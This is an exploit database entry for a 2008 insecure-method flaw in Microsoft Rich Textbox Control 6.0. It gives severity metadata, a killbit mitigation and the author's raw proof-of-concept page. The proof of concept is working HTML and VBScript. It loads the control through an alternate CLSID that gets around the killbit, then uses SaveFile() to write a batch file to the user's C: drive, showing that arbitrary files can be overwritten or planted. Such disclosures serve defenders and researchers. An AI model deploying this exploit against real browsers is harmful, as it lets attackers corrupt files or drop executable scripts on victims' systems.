Microsoft Rich Textbox Control 6.0 (SP6) "SaveFile()" Insecure Method

vendor:

Rich Textbox Control

by:

shinnai

7.5

CVSS

HIGH

Insecure Method

264

CWE

Product Name: Rich Textbox Control

Affected Version From: 6.1.97.82

Affected Version To: 6.1.97.82

Patch Exists: NO

Related CWE: N/A

CPE: a:microsoft:rich_textbox_control:6.1.97.82

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP Professional SP2

2008

Microsoft Rich Textbox Control 6.0 (SP6) “SaveFile()” Insecure Method

It is possible, using the "SaveFile()" method, to save the content of the rich textbox on a user's pc. This can be used to save, overwrite and/or corrupt arbitrary files on the system.

Mitigation:

Killbiting the GUID {3B7C8860-D78F-101B-B9B5-04021C009402} can help mitigate this vulnerability.

Source

Exploit-DB raw data:

<pre><code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
 <b>Microsoft Rich Textbox Control 6.0 (SP6) "SaveFile()" Insecure Method</b>
 url: http://www.microsoft.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>

 <b>Technical details:</b>
 File: RICHTX32.OCX
 ver.: 6.1.97.82

 While this GUID <b>{3B7C8860-D78F-101B-B9B5-04021C009402}</b> is
 killbited, this one <b><font color='green'>{B617B991-A767-4F05-99BA-AC6FCABB102E}</font></b>

 works fine so it is possible, using the "SaveFile()" method,
 to save the content of the rich textbox on a user's pc.
 This can be used to save, overwrite and/or corrupt arbitrary
 files on the system.
 
 It's marked as:
 <b>RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IPersist Safe: Safe for untrusted: caller,data
 IPStorage Safe: Safe for untrusted: caller,data</b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------
<object classid='clsid:B617B991-A767-4F05-99BA-AC6FCABB102E' id='test' style='width: 250px; height: 75px'></object>	<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>
<script language='vbscript'>
  Sub tryMe
   test.Text = "@echo off" & vbCrLf & "cmd.exe /c notepad.exe" & vbCrLf & "echo Hello World!" & vbCrLf & "pause"
   test.SaveFile "C:\shinnai.bat", 1
   MsgBox "Exploit completed!"
 End Sub
</script></span></span></code></pre>

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